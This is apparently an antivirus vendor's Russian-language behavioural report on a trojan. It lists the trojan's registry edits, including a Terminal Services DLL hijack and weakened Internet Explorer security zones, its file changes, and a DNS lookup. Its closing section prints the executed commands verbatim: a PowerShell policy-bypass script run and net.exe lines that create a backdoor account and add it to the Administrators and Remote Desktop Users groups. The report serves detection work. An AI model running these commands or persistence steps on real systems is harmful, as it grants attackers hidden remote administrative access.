Trojan.StartPage1.58244

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\93904

Создает следующие сервисы

[<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\help\tmp5211.dat'
[<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов
расширений файлов

Изменяет следующие настройки браузера Windows Internet Explorer

[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '{01,00,00,00}'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'DisplayName' = 'Internet'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'PMDisplayName' = 'Internet [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Description' = 'This zone contains all Web sites you haven't...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Icon' = 'inetcpl.cpl#001313'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'LowIcon' = 'inetcpl.cpl#005425'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'CurrentLevel' = '00011500'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Flags' = '00000001'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'DisplayName' = 'Restricted sites'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'PMDisplayName' = 'Restricted sites [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Description' = 'This zone contains Web sites that could pote...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Icon' = 'inetcpl.cpl#00004481'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'CurrentLevel' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'LowIcon' = 'inetcpl.cpl#005426'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Flags' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1200' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2500' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'DisplayName' = 'Computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Flags' = '00000047'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'CurrentLevel' = '00011000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'LowIcon' = 'inetcpl.cpl#005424'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Icon' = 'inetcpl.cpl#00004480'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1C00' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{AEBA21FA-782A-4A90-978D-B72164C80120}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1A10' = '00000001'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{A8A88C49-5EB2-4990-A1A2-0876022C854F}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '{AEBA21FA-782A-4A90-978D-B72164C80120}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A10' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '{A8A88C49-5EB2-4990-A1A2-0876022C854F}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'DisplayName' = 'My Computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'PMDisplayName' = 'My Computer [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Description' = 'Your computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Icon' = 'shell32.dll#0016'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'PMDisplayName' = 'Computer [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'CurrentLevel' = '00012000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'LowIcon' = 'inetcpl.cpl#005422'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'DisplayName' = 'Local intranet'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'PMDisplayName' = 'Local intranet [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Description' = 'This zone contains all Web sites that are on...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Icon' = 'shell32.dll#0018'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'LowIcon' = 'inetcpl.cpl#005423'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'CurrentLevel' = '00010500'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Flags' = '00000143'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'DisplayName' = 'Trusted sites'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'PMDisplayName' = 'Trusted sites [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Description' = 'This zone contains Web sites that you trust ...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1400' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Flags' = '00000021'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonZoneCrossing' = '00000000'

Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.

Изменения в файловой системе

Создает следующие файлы

%TEMP%\chadshfsd323.txt
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\notebook.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\orange circles.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\orangecircles.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\peacock.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\peacock.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\pine_lumber.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\pretty_peacock.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\roses.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\soft blue.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\roses.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\sand_paper.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\seyes.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shades of blue.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shadesofblue.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\shorthand.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\small_news.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\music.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\psychedelic.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\month_calendar.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\genko_1.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\blue_gradient.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\cave_drawings.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\connectivity.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\dotted_lines.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\garden.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\garden.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\genko_2.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\memo.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\graph.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\green bubbles.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\greenbubbles.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\grid_(cm).wmf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\grid_(inch).wmf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\hand prints.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\handprints.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\monet.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\softblue.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stars.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stars.jpg
C:\users\wgautilacc\appdata\local\temp\~dfea79380d35a94803.tmp
C:\users\wgautilacc\appdata\local\temp\~df4ad2430b3e323293.tmp
C:\users\wgautilacc\appdata\local\temp\~df0f63676c462e5435.tmp
C:\users\wgautilacc\appdata\local\temp\~df4a2a07f52ea18ac7.tmp
C:\users\wgautilacc\appdata\local\temp\~df137ca63b273dffe1.tmp
C:\users\wgautilacc\appdata\local\temp\~dfb8b04301d5dcca50.tmp
C:\users\wgautilacc\appdata\local\temp\~df2b9f3f410342341f.tmp
C:\users\wgautilacc\appdata\local\temp\~df9cc01b9282268653.tmp
C:\users\wgautilacc\appdata\local\temp\~df1c1d1c4bdcbbe504.tmp
C:\users\wgautilacc\appdata\local\temp\~dfe92cc2ba98f67cc0.tmp
C:\users\wgautilacc\appdata\local\temp\~df8f11d9fb5a4daca4.tmp
C:\users\wgautilacc\appdata\local\temp\~df1b70f629dca9e685.tmp
C:\users\wgautilacc\appdata\local\temp\~df651dbc1db7cf16cb.tmp
C:\users\wgautilacc\appdata\local\temp\~dfa4264cf295a8fbbe.tmp
C:\users\wgautilacc\appdata\local\temp\~df1039e9d40b71dd24.tmp
C:\users\wgautilacc\appdata\local\temp\~dff5a31f998b59638b.tmp
C:\users\wgautilacc\appdata\local\temp\~df1c9f10c2ccd5fe4f.tmp
C:\users\wgautilacc\appdata\local\temp\~dfe2e7fbe8dc67bdbf.tmp
C:\users\wgautilacc\appdata\local\temp\~df96ecf48ff2b9da7b.tmp
C:\users\wgautilacc\appdata\local\temp\~df2b0eea161717f80d.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\tanspecks.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\tiki.gif
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\to_do_list.emf
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\white_chocolate.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\wrinkled_paper.gif
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\index.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\cookies\index.dat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\stucco.gif
C:\users\wgautilacc\appdata\local\microsoft\windows\history\history.ie5\index.dat
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\index.dat
C:\users\wgautilacc\appdata\local\temp\~dff60e7ab9f36bb208.tmp
C:\users\wgautilacc\appdata\local\temp\~dfdd4d3b46131eb298.tmp
C:\users\wgautilacc\appdata\local\temp\~dfebf3c7dad05de2ac.tmp
C:\users\wgautilacc\appdata\local\temp\~df5284da75a03cf962.tmp
C:\users\wgautilacc\appdata\local\temp\~df3d0ffb670b5aaf26.tmp
C:\users\wgautilacc\appdata\local\temp\~df69f77bd6b5ccc6d5.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\ietldcache\index.dat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\bears.jpg
C:\users\wgautilacc\appdata\local\temp\~dfb0b3ef44b1965af2.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\bears.htm
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{5d8b8135-d93a-4825-908e-6057b6665f10}.oeaccount
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\mail recipient.mapimail
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\fax recipient.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop (create shortcut).desklink
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\compressed (zipped) folder.zfsendtotarget
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\ease of access.lnk
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\notepad.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\run.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\windows explorer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\command prompt.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\desktop.ini
C:\users\wgautilacc\ntuser.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat.log1
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\magnify.lnk
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%TEMP%\kbxxtlzmyrmod.ps1
%WINDIR%\help\tmp5211.dat
%WINDIR%\help\tmp5212.dat
%WINDIR%\help\tmp5213.dat
<SYSTEM32>\rfxvmt.dll
%WINDIR%\temp\usrnm.txt
<SYSTEM32>\microsoft\protect\s-1-5-20\aa57bc5b-8a7c-4c65-acb0-0f4e2b1faa62
%PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\on-screen keyboard.lnk
C:\users\wgautilacc\ntuser.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\help.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\private character editor.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\control panel.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\computer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\narrator.lnk
C:\users\wgautilacc\ntuser.dat.log1
C:\users\wgautilacc\ntuser.pol
\device\termdd
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbres00001.jrs
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbres00002.jrs
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\tmp.edb
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.chk
C:\users\wgautilacc\appdata\local\microsoft\windows mail\windowsmail.msmessagestore
C:\users\wgautilacc\appdata\local\temp\wgautilacc.bmp
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log
C:\users\wgautilacc\appdata\roaming\microsoft\protect\credhist
C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\windowsmail.msmessagestore
C:\users\wgautilacc\appdata\local\microsoft\windows mail\windowsmail.pat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\edb00001.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\backup\temp\windowsmail.pat
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{f5992bfb-1b3f-4853-bdce-e0f26f42812a}.oeaccount
C:\users\wgautilacc\appdata\local\microsoft\windows mail\account{5d35203e-bffc-4b23-8f21-058a37c66cf2}.oeaccount
C:\users\wgautilacc\appdata\roaming\microsoft\protect\s-1-5-21-1960123792-2022915161-3775307078-1006\efcbfae7-4351-442d-98df-e5d9b5761b37
C:\users\wgautilacc\appdata\roaming\microsoft\protect\s-1-5-21-1960123792-2022915161-3775307078-1006\preferred
C:\users\wgautilacc\contacts\wgautilacc.contact
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-pipelineconfig.xml
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-datafile.dat
C:\users\wgautilacc\appdata\local\temp\rgi155a.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1599.tmp
C:\users\wgautilacc\appdata\local\temp\rgi15e8.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1647.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1677.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1733.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\themes\transcodedwallpaper.jpg
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\explorerstartuplog.etl
C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\users\wgautilacc\contacts\desktop.ini
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set437e.tmp
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set439e.tmp
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set43af.tmp
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set43df.tmp
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set442e.tmp
<SYSTEM32>\spool\drivers\x64\3\new\tsprint.dll
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows mail\oeold.xml
C:\users\wgautilacc\appdata\local\temp\~df568ba3158ae80d2d.tmp

Присваивает атрибут 'скрытый' для следующих файлов

C:\users\wgautilacc\ntuser.dat
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\users\wgautilacc\contacts\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini

Удаляет следующие файлы

%TEMP%\nsu477.tmp\blowfish.dll
%TEMP%\nsu477.tmp\system.dll
%TEMP%\chadshfsd323.txt
C:\users\wgautilacc\appdata\local\temp\rgi155a.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1599.tmp
C:\users\wgautilacc\appdata\local\temp\rgi15e8.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1647.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1677.tmp
C:\users\wgautilacc\appdata\local\temp\rgi1733.tmp
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\mxdwdrv.dll
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint-datafile.dat
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint-pipelineconfig.xml
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint.dll
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\xpssvcs.dll

Перемещает следующие файлы

<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set437e.tmp в <SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint.dll
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set439e.tmp в <SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint-pipelineconfig.xml
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set43af.tmp в <SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\tsprint-datafile.dat
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set43df.tmp в <SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\mxdwdrv.dll
<SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\set442e.tmp в <SYSTEM32>\spool\drivers\x64\{897c30e6-5c6b-4c06-9c12-cde224bf2c21}\xpssvcs.dll
<SYSTEM32>\spool\drivers\x64\3\new\tsprint.dll в <SYSTEM32>\spool\drivers\x64\3\tsprint.dll
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-datafile.dat в <SYSTEM32>\spool\drivers\x64\3\tsprint-datafile.dat
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-pipelineconfig.xml в <SYSTEM32>\spool\drivers\x64\3\tsprint-pipelineconfig.xml
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log в C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log в C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb00001.log

Подменяет следующие файлы

C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log

Самоудаляется.

Сетевая активность

UDP

DNS ASK ki####dzhara.xyz

Другое

Ищет следующие окна

ClassName: 'CicLoaderWndClass' WindowName: ''
ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'PersonalizationThemeChangeListener' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'OutlookExpressHiddenWindow' WindowName: ''

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\KBXXTLZMYRmod.ps1
'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\KBXXTLZMYRmod.ps1' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc GWW4H2XA /add' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" zttgrkyt$ /ADD' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (со скрытым окном)
